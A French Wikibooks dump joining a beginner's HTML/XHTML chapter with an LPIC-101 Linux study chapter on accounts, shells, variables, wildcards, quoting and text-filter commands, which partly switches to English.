marquage hypertexte". Le langage HTML est incorporé dans le document et est interprété par un navigateur web. Dans ce chapitre nous allons aborder les principes importants du HTML. '''Lisez le attentivement''', surtout si vous êtes débutant, et même plusieurs fois si nécessaire ! == Balises et compagnie == Un document HTML est avant tout un document texte (c'est-à-dire lisible par un humain), qui contient une certaine syntaxe afin de mettre en forme ou de décrire ce document. Son nom de fichier est généralement suivi de l'extension <code>.html</code> (ou parfois <code>.htm</code>). Pour faire une page HTML (c'est à dire une page Internet) vous n'avez donc pas besoin d'un logiciel spécial, il suffit d'utiliser un éditeur de texte standard et d'enregistrer vos pages en <code>.html</code> au lieu de <code>.txt</code>. Un document HTML est constitué de texte normal — la plupart du temps c'est ce que vous voulez afficher à l'écran — et de HTML à proprement parler sous formes de ''balises'' (ou ''tags'' en anglais). Les balises servent à dire des choses au navigateur comme "ça c'est un titre", "ça c'est en italique", "là je veux une image", "là je veux un lien" etc. Affichez ensuite la page dans votre navigateur et si vous avez été gentil il obéira au doigt et à l'oeil. Une balise est facilement reconnaissable car elle est toujours entre &lt; et &gt;. <pre> Voici un texte en <i>italique</i>. </pre> Dans cet exemple, seul le mot « italique » sera en <i>italique</i> car il est borné par les balises &lt;i&gt; et &lt;/i&gt;.<br /> On voit déjà qu'il y a deux types de balises. Les balises qui vont par deux, pour dire des choses comme "là, commence le texte en italique" et "là, termine le texte en italique", et les balises qui sont toutes seules, comme pour le "là je veux une image". Observez qu'une balise de fin s'écrit exactement comme la balise de début mais avec un « / » avant son nom (i). On appelle tout ce qui est situé entre une balise de début et de fin un ''élément''. On a donc ici un élément « i » contenant le texte « italique ». Une balise de début peut également contenir un ou plusieurs ''attributs'', qui sont des paramètres permettant de préciser certaines caractéristiques de l'élément. Le nom de la balise dit de faire quelque chose, et un attribut donne des précisions sur comment le faire. Par exemple la balise pour faire un lien est ''a''. Mais si on fait juste <code>&lt;a&gt;mon super lien&lt;/a&gt;</code>, le navigateur ne saura pas où doit mener ce lien. Pour ça il y a l'attribut <code>href</code> <pre> <a href="http://fr.wikipedia.org/">Wikipédia</a> est une encyclopédie libre. </pre> L'attribut « href » indique la destination du lien. Comme vous pouvez le voir dans l'exemple, les attributs sont placés dans la balise de début (il ne faut pas les remettre dans la balise de fin), après le nom de l'élément. Le contenu d'un attribut est toujours délimité par deux guillemets « " » ou deux apostrophes « ' », précédés du signe égal « = ». Vous pouvez bien sûr mettre plusieurs attributs en les séparant pas des espaces. Dans certains cas, le navigateur comprendra ce que vous voulez même si vous ne mettez pas les guillemets, mais il vaut mieux prendre l'habitude d'en mettre partout. Un exemple de balise qui va toute seule maintenant : <pre> <img src="http://fr.wikibooks.org/images/wiki-textbook.png" /> </pre> Si vous avez tout suivi, vous devriez reconnaître qu'on a la balise «img» (qui assez logiquement veut dire ''image'') et l'attribut «src» qui a pour valeur «<nowiki>http://fr.wikibooks.org/images/wiki-textbook.png</nowiki>». Et tout ça nous donne une jolie balise. Ce code affiche en fait l'image située à l'adresse «<nowiki>http://fr.wikibooks.org/images/wiki-textbook.png</nowiki>», soit le logo de wikibooks. Les plus perspicaces remarqueront également le «/» qui précède le «>» final. Il sert à préciser que ça y est c'est fini, pas la peine d'attendre une balise de fin, y'a plus rien à voir circulez.<br> Remarque importante : il faut ou ne faut pas mettre ce «/» en fonction de la version de HTML que vous utilisez. Si c'est du HTML 4.01 ou antérieur, il '''ne faut pas''' le mettre (ce qui donne <code>&lt;img src="<nowiki>http://fr.wikibooks.org/images/wiki-textbook.png</nowiki>"&gt;</code>), si c'est du XHTML, il '''faut''' le mettre. Ne vous inquiétez pas, on revient la-dessus un peu plus bas. Dernier point important sur les balises, il faut penser à ''bien les imbriquer'' : une balise ouvrante doit TOUJOURS être placée AVANT une balise fermante.<br /> Il est interdit de « croiser les balises » c'est-à-dire qu'il n'est pas permis de fermer une balise alors qu'une autre, ouverte après elle, n'est pas encore fermée.<br /> Un exemple de balises correctement agencées (ne vous inquiétez pas si vous ne comprenez pas les balises elle seront expliquées plus tard) : <pre> <nowiki> Un texte qui <i>parle de <b>choses</b> intéressantes</i> </nowiki> </pre> Un exemple de mauvaise imbrication des balises : <pre> <nowiki> Un texte qui <i>parle de <b>choses</i> intéressantes</b> </nowiki> </pre> ==Alors, HTML ou XHTML ?== ===Késako=== J'ai évoqué rapidement tout à l'heure le XHTML. Quelle est la différence entre le HTML et le XTHML, vous demandez vous ? Et bien je vais vous le dire (encore heureux, je suis là pour ça). Pendant son [[#Historique|histoire]], le HTML a connu bien des déboires et bien des versions. Au fur et à mesure que son numéro de version augmentait, on ajoutait des balises, des trucs et des bidules et il faut avouer que tout ça est devenu bien le foutoir, d'autant plus que le HTML était plutôt laxiste sur certains points. Alors pour mettre les choses au clair, le W3C a défini le XHTML, qui ressemble mais alors furieusement au HTML mais avec des règles plus strictes. Le développement du HTML est donc maintenant arrêté — la version la plus récente est et restera toujours la 4.01. Le XHTML quand a lui existe en versions 1.0 et 1.1 (moins utilisée que la première), et la version 2.0 est en préparation. ===Lequel choisir=== Vous pouvez à peu près choisir la version du (X)HTML que vous voulez. Le tout est de s'y tenir. À chaque version ses règles et ses balises. Cependant, si vous voulez être dans l'air du temps je suppose que votre préférence se portera sur le XHTML 1.0. Si vous voulez faire du HTML tout court par contre, ne cherchez pas l'originalité et faites du 4.01. ===Les variantes=== Comme si c'était pas déjà assez compliqué, les principales versions du HTML viennent aussi avec des ''variantes''. C'est le cas pour HTML 4.01 et XTHML 1.0. Là encore, une fois une variante choisie, il faudra s'y tenir. Les variantes sont au nombre de 3 : <code>Transitional</code>, <code>Strict</code> et <code>Frameset</code>. La version ''strict'' est celle recommandée par le W3C. La version ''transitional'' est un compromis entre le W3C et le reste du monde. Elle permet l'utilisation de balises classées comme ''deprecated'' (désapprouvées) qui existent parce qu'elles ont existé avant mais que le W3C aimerait bien enterrer sous trois couches de bétons et oublier complètement. La version ''frameset'' elle est un peu spéciale. Voyez la partie sur les [[Programmation_HTML_Cadres|cadres]]. ===Principales différences entre le HTML et le XHTML=== On en a déjà vu une, et on ré-insistera dessus de toutes façons en temps voulu, mais voilà pour la route les différences importantes entre HTML et XHTML : * En XHTML, un «/» est obligatoire <b>à la fin</b> des balises "vides", comme &lt;br /&gt;, &lt;hr /&gt;. Il ne faut pas en mettre en HTML. Pour la compatibilité, il est conseillé de mettre un espace avant le slash. * En XHTML, il faut toujours mettre les valeurs des attributs entre guillemets : <code>&lt;input type="text" /&gt;</code>. En HTML on peut parfois s'en passer. * En XHTML, un attribut doit obligatoirement avoir une valeur : <code>&lt;input type="text" readonly="readonly" /&gt;</code>, alors qu'en HTML, ce n'est pas requis : <code>&lt;input type="text" readonly &gt;</code> * En HTML, on peut aussi bien écrire <code>&lt;html&gt;</code> que <code>&lt;HTML&gt;</code> ou <code>&lt;hTmL&gt;</code>. En XHTML par contre tout doit être en minuscules. C'est <code>&lt;html&gt;</code> et pas autre chose. On dit que XHTML est sensible à la casse. * En XHTML, si une balise est ouverte, il faut la refermer. Pas de <code>&lt;i&gt;</code> sans <code>&lt;/i&gt;</code>. Ceci paraît évident, mais en HTML on peut parfois s'en passer. * En XHTML, les balises doivent correctement s'imbriquer : <code>&lt;div&gt;&lt;span&gt;texte&lt;/span&gt;&lt;/div&gt;</code> est valide, alors que <code>&lt;div&gt;&lt;span&gt;texte&lt;/div&gt;&lt;/span&gt;</code> ne l'est pas. En règle générale, on dit que XHTML est un dialecte XML, et on peut se référer à la [[Programmation XML/Structure d'un document XML |structure d'un document XML]] pour obtenir la liste des règles et bonnes pratiques à mettre en œuvre. === S'en tenir à une version du (X)HTML === J'ai déjà répété plusieurs fois que quand on choisit une version et une variante, on s'y tient. En fait soyons clair : ne pas respecter la version que vous vous êtes choisie ne tuera personne, ne fera pas exploser votre navigateur, n'incitera pas vos parents à vous déshériter... En fait dans certains cas, ça ne se verra même pas. Pourquoi le faire alors ? <br/> La guerre des navigateurs, dans sa première phase, allait vers la différentiation. Chaque navigateur s'autorisait à inventer des balises incompatibles avec le concurent. (stratégie de la savonette). Cette période est révolue, et la guerre des navigateurs, dans la phase actuelle, s'appuie sur la convergence vers les standards du w3c. Ceci ne se fait pas sans casse, et certaines pages s'affichent bizarement, ou pas du tout, si le dialecte n'est pas bien suivi. <br /> Avoir un site valide (c'est comme çà qu'on appelle le fait de respecter la version choisie) contribue à construire le web du futur, qu'on espère plus accessible pour tous. C'est pas beau ça ? Comment être sûr que votre site est valide ? Et bien en le faisant passer par le validateur bien sûr ! Le tout puissant validateur du W3C se trouve ici : http://validator.w3.org/ Il en existe d'autres cependant, comme [http://www.htmlhelp.com/tools/validator/index.html.fr celui du WDG]. ===Question subsidiaire : que signifie le X dans XHTML ?=== ''e'''X'''tensible'', ce qui nous donne au complet ''eXtensible HyperText Markup Language''. <!-- À réécrire en adaptant à la nouvelle orientation HTML+XHTML ==Pourquoi apprendre le HTML ?== A l'heure où le W3C a enterré le développement de HTML au profit de celui de [[Programmation XML|XML]] et de [[Programmation XHTML|XHTML]], on est en droit de se demander l'utilité de l'apprentissage de ce langage. Les raisons sont multiples : *HTML reste un standard connu de tous les navigateurs *Beaucoup de langages s'inspirent de sa syntaxe, et XHTML la reprend *Sa simplicité, tant dans la compréhension de langage que dans son utilisation, en fait le premier échelon de l'apprentissage des langages web *... --> ==Avec quoi écrire un document HTML ?== Comme indiqué plus haut, un document HTML est fondamentalement un document texte. C'est pourquoi le plus simple des éditeurs de texte peut suffire. Toutefois, il existe des éditeurs HTML plus développés, allant de l'amélioration de la présentation du code (exemple : les balises sont distinguées du texte par une couleur spécifique) à l'éditeur [[w:WYSIWYG]] ("What You See Is What You Get", littéralement "ce que vous voyez est ce que vous obtenez", c'est-à-dire que vous voyez directement le résultat apporté par les modifications que vous entreprenez). Vous devrez tout de même garder en tête la notion (récente) d'encodage des caractères, et faire la différence entre les principaux types (utf-8, ISO-8859-1...), et la nécessité pour votre éditeur de texte de reconnaître et respecter cet encodage, sous peine de voir afficher de drôles de caractères à la place des accents... <!-- Ici il faudrait inclure une liste d'éditeurs --> Voici une sélection (à compléter) d'éditeurs libres de qualité: *[http://notepad-plus.sourceforge.net/fr/site.htm notepad++] Coloration syntaxique paramétrable, ouverture simultanée de plusieurs sources, support d'une quarantaine de langages, reconnaissance de l'encodage, macro, plugiciels... ==Historique== ===1989 - 1992 === '''[[Programmation HTML|HTML]]''' a été inventé pour le World Wide Web, afin de pouvoir écrire des documents hypertextes liant les différentes ressources d'Internet. En août 1991, lorsque [[w:Tim Berners-Lee]] annonce publiquement le Web sur Usenet, il ne cite que le langage [[Programmation SGML|SGML]], mais donne l'URL d'un document ayant l'extension de fichier <code>html</code>. Les premiers éléments du langage HTML sont le titre du document, les hyperliens, la mise en forme du texte en titres, sous-titres, listes ou texte brut, et un mécanisme basique de recherche par index. La description de HTML est alors assez informelle : elle est principalement définie par le support des divers navigateurs Web contemporains. === 1993 === L'état de HTML correspond alors à ce que l'on pourrait appeler HTML 1.0. Il n'existe cependant aucune spécification portant ce nom, notamment parce que le langage était alors en pleine évolution. Un effort de normalisation était cependant en cours [http://www.w3.org/MarkUp/draft-ietf-iiir-html-01.txt]. À partir de fin 1993, le terme HTML+ sera utilisé pour désigner la version future de HTML. Avec le navigateur NCSA Mosaic, HTML connaît deux inventions majeures : l'invention de l'élément <code>IMG</code> permet d'intégrer des images (GIF ou XBM) aux pages Web (Mosaic 0.10) ; les formulaires rendent le World Wide Web interactif (Mosaic 2.0pre5). === 1994 === Avec l'apparition de Netscape Navigator 0.9 le 13 octobre, le support de nombreux éléments de présentation est ajouté : styles de texte, clignotement, centrage... Le développement de HTML prend alors deux voies divergentes. D'une part, les développeurs de navigateurs s'attachent à maximiser l'impact visuel des pages Web. D'autre part, les concepteurs du Web proposent d'étendre les capacités de description sémantiques (logos, notes de bas de page...) et les domaines d'applications (formules mathématiques, tables) de HTML. En ceci, ils suivent les principes de SGML consistant à laisser la présentation à un langage de style. En l'occurrence, [[Programmation CSS|CSS]] est prévu pour HTML. Seul le support des tables est rapidement intégré aux navigateurs, notamment parce qu'il permet une très nette élaboration de la présentation. Le manque de structure du HTML alors mis en œuvre par Netscape Navigator, puis Microsoft Internet Explorer, est parfois dénoncé comme étant de la « soupe de balises » (« tag soup » en [[Enseignement de l'anglais|anglais]]). === 1995 - 1996 === En mars 1995, le W3C nouvellement fondé propose le résultat de ses recherches sur HTML+ : le brouillon HTML 3.0. Il comprend notamment le support des tables, des figures et des expressions mathématiques. Ce brouillon expire le 28 septembre 1995 sans donner de suites directes. Fin 1995, le RFC 1866 décrivant HTML 2.0 est finalisé. Ce document décrit HTML tel qu'il existait avant juin 1994, donc sans les nombreuses additions de Netscape Navigator. === 1997 === Le 14 janvier, le W3C publie la spécification HTML 3.2. Elle décrit la pratique courante observée début 1996, donc avec une partie des additions de Netscape Navigator et Internet Explorer. Ses plus importantes nouveautés sont la standardisation des tables et de nombreux éléments de présentation. Le 18 décembre, le W3C publie la spécification HTML 4.0 qui standardise notamment le support les styles, les [[Programmation Html Cadres|cadres]] (frames) et les objets (généralisation des images et des applets). === 1998 - 1999 === La dernière spécification de HTML est la 4.01 datant du 24 décembre 1999. Elle n'apporte que des corrections mineures à la version 4.0. === 2000 à nos jours === Le développement de HTML en tant qu'application de [[Programmation SGML|SGML]] est abandonné au profit de [[Programmation XHTML|XHTML]], application de [[Programmation XML|XML]]. La première étape est la spécification XHTML 1.0, publiée le 26 janvier 2000. Il s'agit d'une reformulation de HTML 4.01 basée sur XML au lieu de SGML. La seconde étape est la spécification XHTML 1.1, publiée le 31 mai 2001. Il s'agit d'un classement des fonctionnalités de XHTML 1.0 en modules. En outre, les fonctionnalités de présentation et quelques redondances sont supprimées. ==Liens externes== * [[w:fr:Hypertext markup language|Page wikipédia sur HTML]] * [http://www.w3.org/TR/html401/ Spécification d'HTML 4.01] ** [http://www.la-grange.net/w3c/html4.01/cover.html Traduction française de la spécification HTML 4.01] * [[w:fr: XHTML |Page wikipédia sur XHTML]] * [http://www.w3.org/TR/xhtml1/ Spécification d'XHTML] ** [http://www.w3.org/TR/xhtml11/l Traduction française de la spécification XHTML 1.0] ** [http://www.la-grange.net/w3c/xhtml11/l Traduction française de la spécification XHTML 1.1] * [http://www.martiusweb.net/tutoriaux,01_00.html Martius web : cours XHTML/CSS] * [http://www.lesiteduzero.com Le site du zéro] ** [http://www.siteduzero.com/tuto-3-6-0-apprenez-a-creer-votre-site-web.html Les cours de XHTML et CSS] ** [http://www.siteduzero.com/tuto-3-4-0-un-site-dynamique-avec-php.html Les cours de PHP] GNU & commandes Unix (LPIC101) 1033 35767 2006-03-04T10:16:37Z 83.154.121.246 /* Variables du Shell */ {{LPIC101}} {{EnCours}} == Table des matières de la section == <!-- * 1.103.1 [[Travailler en ligne de commandes (LPIC101)|Travailler en ligne de commandes]] * 1.103.2 [[gérer des flux de textes en utilisant les filtres (LPIC101)|gérer des flux de textes en utilisant les filtres]] * 1.103.3 [[Gestion de base des fichiers (LPIC101)|Gestion de base des fichiers]] * 1.103.4 [[Utiliser les flux, les tuyeaux (pipes) et les re-directions (LPIC101)|Utiliser les flux, les tuyeaux (pipes) et les re-directions]] * 1.103.5 [[Créer, surveiller et tuer des tâches (LPIC101)|Créer, surveiller et tuer des tâches]] * 1.103.6 [[Modifier les priorités d'exécution des tâches (LPIC101)|Modifier les priorités d'exécution des tâches]] * 1.103.7 [[Faire des recherches dans des fichiers textes à l'aide des expressions régulières (LPIC101)|Faire des recherches dans des fichiers textes à l'aide des expressions régulières]] * 1.103.8 [[Editions élémntaires de fichiers à l'aide de VI (LPIC101)|Editions élémntaires de fichiers à l'aide de VI]] * Unix et Linux --> == Unix et Linux == === Objectifs === Unix est l'OS original d'Internet. NFS, TCP/IP, RPC, ... ont été développés sur et pour Unix. Unix est en fait une spécification de ce que doit être ce genre d'OS. Il en existe plusieurs implémentations. Citons pour l'emple AIX d'IBM, HP-UX d'HP, Solaris de Sun, ou les *BSD. Linux est une implémentation Unix entièrement réécrit par Linus Torvalds et son équipe de développeurs volontaires répartis sur l'ensemble de la planète et mis en contact grâce à Internet. Unix comme Linux sont : Portable, multi-utilisateurs, multi-tâches, rendu indépendants des périphériques d'entrées et de sorties, capables de gérer les ressources matérielles, d'une grande performance, sécurisés, équipé d'une ligne de commande puissante et d'une interface graphique. Linux est compatible avec la norme POSIX et supporte d'autres API standard comme BSD ou SVR4 Linux possède toutes les fonctionalités que l'on peut attendre d'un Unix moderne, dont le multi-tâche, multi-utilisateurs, mémoire virtuelle, librairies partagées, chargement à la demande, shared copy-on-write executables, gestion propre de la mémoire et utilisation de TCP/IP pour le réseau. De plus en plus d'entreprises sélectionnent Linux pour ses performances, son cout faible et l'absence de royalties. ==== Unix et Linux ==== Unix est l'OS d'origine d'Internet. Il a été développé en 1970 aux laboratoires A&T Bell Labs. Il a ensuite été distribué gratuitement notament aux gouvernements et aux universités. Divers organismes en supporte différentes distributions : * System V * BSD * SCO La plupart des Unix sont soumis à des licences de copyright. Linux a été diffusé pour la première fois par Linux Torvalds en 1991. Son modèle de développement est libréré du droit d'auteur. Il adopte la licence GPL créée par Richard Stallman quelques années auparavant. Richard Stallman est également à l'origine du projet GNU, sans lequel Linux ne servirait pas à grand chose. Certaines personnes préfèrent ainsi parler de système GNU/Linux. Linux implémente la plupart des commandes system V, BSD et Unix. ==== Se logger et se délogger ==== Entrer dans une session est le premier pas pour accéder à un système Linux. Vous avez besoin d'un identifiant (ID) et d'un mot de passe pour pouvoir commencer à utiliser le système. L'identifiant "root" est l'identifiant du super-utilisateur qui a tous les privillèges et n'est normalement assigné qu'à l'administrateur du système. Lorsque l'on a réussi à entrer dans le système, quelques variables d'environement vont être initialisées et le shell assigné au compte correspondant à l'identifiant sera lancé. Exemples de variables initialisées au loggin: $HOME, $SHELL, $PATH, et d'autres. En modifiant le fichier /etc/login.defs, l'administrateur peut régler quelques paramètres du logging et les variables pour tous les utilisateurs. Comme par exemple: UID_MIN 500 UID_MAX 60000 UMASK 022 ENV_PATH /usr/local/bin:/usr/bin:/bin Pour sortir, utilisez les commandes exit ou logout. ==== Mot de passe ==== Personne ne peut voir votre mot de passe, même l'administrateur. Pour changer votre mot de passe d'utilisateur ou de groupe, utilsez passwd. passwd [options] Options courantes: -l, -u : bloque et débloque un compte. -g [| r]: Utilisé pour les groupes. -g défini un mot de passe pour le groupe, et -r le remplace. -x|n : Nombre de jours maximum et minimum pendant lequel un mot de passe reste valide. En règle générale, un mot de passe doit: * avoir une longueur minimale. * ne contenir aucun mot du langage courant. * Contenir des caratères alphanumériques * Contenir un mélange de lettres majuscules et minuscules. ==== Information sur les utilisateurs ==== Une ligne est définie dans le fichier <tt>/etc/passwd</tt> pour chaque compte utilisateur. Le mot de passe crypté est stocké dans le fichier <tt>/etc/shadow</tt>. Le format de <tt>/etc/passwd</tt> est: Root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/bash daemon:x:2:2:Daemon:/sbin:/bin/bash yann:x:500:100:Yann Forget:/home/yann:/bin/bash Le champs x est l'ancienne localisation pour le mot de passe. Le format de <tt>/etc/shadow</tt> est: root:IMXweyiV816gg:11996:0:10000:::: bin:!*:8902:0:10000:::: daemon:*:8902:0:10000:::: yann:GoIM8j1S.IuTY:11996:0:99999:7::: L'* pour le mot de passe crypté veux dire qu'aucun mot de passe n'a encore été défini. Le ! devant le mot de passe crypté veux dire que le compte est bloqué. ==== Information sur les groupes ==== Il y a une ligne dans le fichier <tt>/etc/group</tt> pour chaque groupe d'utilisateurs. Le mot de passe crypté est stocké dans <tt>/etc/gshadow</tt>. Le format de <tt>/etc/group</tt> est: root:x:0:root bin:x:1:root,bin,daemon daemon:x:2: video:x:33:yann Le format de /etc/gshadow est: root:*:root:root bin:*:root:root daemon:*:root:root video:*:root:root,yann Les mots de passe pour les groupes ne sont pas souvent implémentés car il faut passer un membre du groupe pour en changer ... ==== Commandes variées ==== Pour obtenir des informations sur une session, jouez la commande id. id [options] [username] Options courantes: -g : N'imprime que l'identifiant du groupe. -u : N'imprime que l'identifiant de l'utilisateur. Exemple: $ id uid=0(root) gid=0(root) groupes=0(root), 1(bin), 14(uucp), 15(shadow),16(dialout) Pour lancer un shell avec un nouvel utilisateur et/ou groupe, jouez la commande su. su [options] [username] Options courantes: -s : Selectionne un autre shell. Exemple: $ su toto passwd: ==== Shell ==== Un shell est un interpréteur de lignes de commandes qui : * attends les commandes (en affichant ce qu'on appelle l'''invite'') * Les interprète (ceci inclus les redirections d'entrée-sortie, les tuyeaux, la génération de nom de fichiers, etc...) * les exécute * exécute des langages de script IL y a plusieurs shells populaires : * sh: Bourn shell, le shell de scripts standart. * csh: Berkley shell, permet le contrôle de tâches, l'historique des commandes, les alias ... * ksh: Korn shell, Les syntaxes du Bourn avec les fonctionalités du Berkley. * Bash: Bourne Again shell, libre, shell clone du Korn. Shell traditionel de Linux. * Tcsh: Libre, clone du Berkley avec beaucoups d'extensions. La plupart des shell vous permettent de personaliser son invite et son environement. Pour le bash, la variable du prompt est PS1 Pour le bash, les fichiers utilisés pour la personalisation de l'environement sont: .bashrc exécuté à chaque nouvelle session bash. .bash_profile exécuté à la connextion au shell. .bash_logout exécuté à la sortie du shell. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Travailler en ligne de commande == === Objectifs === Description: '' Les candidats devront pouvoir intéragir avec les shells et les commandes en utilisant la ligne de commandes. Cet objectif inclus l'introduction de commandes et de séquences de commandes valides, la définition, la référence et l'exportation de variables d'environement, l'utilisation de l'historique et des facilités d'édition, l'invoquation de programmes dans et en dehors du chemin, l'utilisation des commandes de substitution, l'application récursive des commandes dans l'arbre des répertoires, et l'utilisation de la commande man pour trouver des informations sur les commandes.'' '''fichiers clés''', ''termes'' et <tt>utilitaires</tt> : <pre> . / source bash echo env exec export man pwd set unset ~/.bash_history ~/.profile </pre> === Ligne de commande === Les lignes de commandes sont de la forme : commande [options] [arguments] Exemples: pwd ls -ld ou ls -l -d ou ls -d -l rm -r /tmp/toto cat ../readme helpme > save more /etc/passwd /etc/hosts /etc/group find . -name *.[ch] -print date "+day is %a" On peut mettre des lignes de commandes dans un fichier, de manière à obtenir un script. Pour affichier une chaine de caractères sur la sortie standard, utiliser la commande echo. echo [-n][string|command|$variable] echo my home directory is: $HOME echo I use the $SHELL shell === Shells et Bash === L'ordre de précédence des différentes sources lorsque vous entrez une commande dans le shell sont : * Les alias. * Les mots clés comme if, for et more. * Les Fonctions. * Les "Built-ins" comme cd, type, et kill. * Les scripts et les programmes exécutables présents dans les chemins listés dans la variable d'environement PATH. Pour connaitre la source exacte d'une commande, utiliser : $ type kill kill is a shell builtin Ce qui est différent de : /bin/kill Pour lister l'ensemble des commandes "built-in", utilisez l'aide. /bin/bash peut-être invoqué à l'ouverture d'une session ou explicitement par un utilisateur. A l'ouverture, les fichiers scripts suivants sont utilisés : * /etc/profile fichier du système par défaut. * $HOME/.profile s'il existe. * $HOME/.bash_profile s'il existe * /etc/bash.bashrc s'il existe * $HOME/.bashrc s'il existe Lorsqu'un utilisateur invoque explicitement le shell bash, les fichiers suivants sont exécutés : /etc/bash.bashrc s'il existe. $HOME/.bashrc s'il existe; L'historique de tout ce qui est tapé se trouve dans le fichier .bash_history. Un script est une liste de commandes et d'opérations exécutées dans le contexte du shell. Vous pouvez vous servir de scripts bash pour mettre en place votre environement, vos variables, et plus. ==== Découvrir /bin/bash ==== Chaque fois que vous exécutez un nouveau programme, une nouvelle tâche est créée. Quand le programme se termine, la tâche se termine aussi et vous retrouvez le prompt en retour. Vous pouvez faire tourner le programme en arrière plan en ajoutant le caractère "&" apres la commande : monscript & Dans certaines situations, il est également possible d'utiliser le contexte de la tâche bash en utilisant la commande exec [program] C'est utile quand vous ne voulez pas que le programme rende le prompt à sa terminaison. Le programme login, par exemple, est un bon exemple de réutilisation de la tâche Bash dans laquelle il est démarré. exec login === Variables du Shell === Toutes les variables locales de la session bash peuvent être vues par la commande set. La variable ne sera vue que par le shell où elle a été déclarée. Pour déclarer une variable locale, utiliser simplement : $ MAVARIABLE=SAVALEUR Pour effacer une variable, utiliser : $ unset MAVARIABLE Toutes les variables d'environement peuvent-être vues par la commande env. Pour déclarer une variable qui sera vue par les autres shells, utilisez export. $ export MAVARIABLE=SAVALEUR ou, $ MAVARIABLE=SAVALEUR $ export MAVARIABLE Quelques varaibles importantes : :HOME : répertoire utilisateur de celui qui s'est connecté. :PATH : chemin de recherche des commandes. ==== Man pages ==== Les manuels en ligne décrivent la majorité des commandes disponibles sur votre système. $ man mkdir $ man cal Si vous cherchez un mot clé dans toutes les man pages, utiliser l'option -k, ou la commande apropos. $ man -k compress $ apropos compress La variable MANPATH contient les répertoires où les man pages sont stockées. $ echo $MANPATH /usr/local/man:/usr/share/man:/usr/X11R6/man:/opt/gnome/man === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Obtenez des informations sur les commandes useradd et userdel. # Créer deux nouveaux comptes user1 et user2 et donner leur un mot de passe par la commande passwd. En tant que root, bloquez ces comptes et voyez si vous pouvez encore ouvrir une session pour ces comptes. # Quelle est la commande qui concatène des fichiers? # Declarez et Initializez les variables d'environement NAME et LASTNAME. Utiliser echo pour les imprimer. # Lancez un nouveau bash et vérifiez que vous pouvez encore voir ces deux nouvelles variables. # Utilisez exec pour démarer un nouveau bash. Voyez-vous toujours ces nouvelles variables ? # Utilisez la commande date pour afficher le mois. # Ajoutez un utilisateur notroot et attribuez lui les mêmes privilèges qu'à root. Bloquez le compte root. == Exécution de flux de textes en utilisant des filtres == === Objectifs === Description: ''Les Candidats devraient etre en mesure d'appliquer des filtres sur les flux texte(text streams). Ces taches incluent l'envoi de fichiers texte et de flux externes(output streams) à travers les filtres utilitaire texte (text utility filters) pour modifier ceux-ci, et utiliser les commandes standards UNIX issues des packages textutil GNU.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;cat ;cut ;expand ;fmt ;head ;join ;nl ;od ;paste ;pr ;sed ;sort ;split ;tac ;tail ;tr ;unexpand ;uniq ;wc === Correspondance de chaîne et jokers === Le joker est un mécanisme de correspondance de chaîne pour les noms de fichiers. L'objectif du joker est d'accroître la productivité : Localiser les fichiers dont vous ne vous souvenez pas. Localiser les fichiers qui ont quelque chose en commun. Travailler avec uun groupe de fichiers plutôt qu'individuellement. Le shell interprête ces caractères spéciaux : ! @ # $ % ^ & * ( ) { } [ ] | \ ; ~ ' " ` ? Les caractères utilisés pour les jokers sont : ? * [ ] ~ Si vous utilisez un caractère joker, le shell va essayer de générer un fichier. Essayez la commande suivante : echo all files * ==== Caractères joker speciaux ==== ? correspond à n'importe quel caractère (une fois). * n'importe quelle caractère (plusieurs fois) [abcfghz] Un jeu de caractère [a-z] Un caractère dans une série [!x-z] Pas dans cette série ~ Répertoire personnel ~utilisateur Répertoire personnel de "utilisateur" Exemples: ? Seulement un caractère [aA]??? Quatre caractères, en commençant par a ou A. ~toto chemin du répertoire personnel de toto [!0-9]* Toute chaîne qui ne commence pas par un chiffre. Que font ces commandes? ls [a-z][A-Z]??.[uk] ls big* ls a???a ls ??* === Shell et jokers === Une commande shell peut être une commande simple ou complexe. ls -l [fF]* ls *.c | more ls -l [a-s]* | mail `users` La première activité du shell est d'interprêter les jokers. Seulement le shell interprête les jokers sans guillemets. === Guillemets et commentaires === ==== Guillemets ==== Utiliser des guillemets pour que le shell n'interprête pas les caractères spéciaux et ne transforme plusieurs mots en commandes shell. * 'chaîne' Presque tout dans les guillements est litéral : echo 'Il le fait, "Pourquoi ?"' echo 'Parce que "#@&^:-)"' echo '$VAR='Moi "chaîne" Comme 'chaîne' mais interprête $, \, ! echo "Que s'est-il passé ?" echo "Je ne sais pas mais lisez cette $REPONSE" L'antislash \ traîte le caractère suivant comme litéral : echo \$VAR=Moi echo Que s\'est-il passé \? Comment afficher l'antislash ? echo \\ ==== Commentaires ==== You can add comments in a command line or a script. Use the character #. A white space must immediately precede #. Examples: echo $HOME # Print my Home directory echo "### PASSED ###" # Only this part is a comment Echo The key h#, not g was pressed. Commands * cat, tac: Concatenate files and print on the standard output. * head, tail: Output the first and last part of files. * nl: Number lines of files. * wc: Print the number of bytes, words, and lines in files. * cut: Remove sections from each line of files. * tr: Translate or delete character. * expand, unexpand: Convert tabs to spaces and space to tabs. * Paste: Merge lines of files. * join: Join lines of two files on a common field. * uniq: Remove duplicate lines from a sorted file. * split: Split a file into pieces. * fmt: Simple optimal text formatter. * pr: Convert text files for printing. * sort: Sort lines of text files. * od: Dump files in octal and other formats. Concatenate files To concatenate files, use cat. cat [options] [files...] tac [options] [files...] The results are displayed to the standard output. Common options: -s: never more than one single blank line. -n: number all output line. Examples: cat file # Display file to the stdout. cat chapter* # Display all chapters to stdout. cat -n -s file # Display file with line number with single blank line. To concatenate files in reverse order, use tac. View the begining and the end of a file To view only few lines at the beginning or at the end of a file, use head or tail. head [options] [files...] tail [options] [files...] The results are displayed to the standard output. Common options: -n: number of lines to be displayed. (head and tail) -c: number of bytes to be diplayed (head and tail) -f: append output. (tail) -s #: iteration for new data every # sec. (tail) Examples: head file # Display the first 10 lines of file. head -n 2 file # Display the first 2 lines of file. tail -c 10 file # Display the last 10 bytes of file. tail -f -s 1 /var/log/messages ''Display the last 10 lines of messages, block and check for new data every second.'' Numbering file lines To add the line number to a file, use nl. nl [options] [files...] The results are displayed to the standard output. Common options: -i #: incremente line number by #. -b: numbering style: a: number all lines, t: non empy line, n: number no line. -n: numbering format: rz:right justified, ln: left justified. Examples: nl file # Add the line number in each line in the file. nl -b t -n rz file # Add the line number to each non-empty line with zero-completed format. Counting items in a file To print the number of lines, words and characters of a file, use wc. wc [options] [files...] The results are displayed to the standard output. 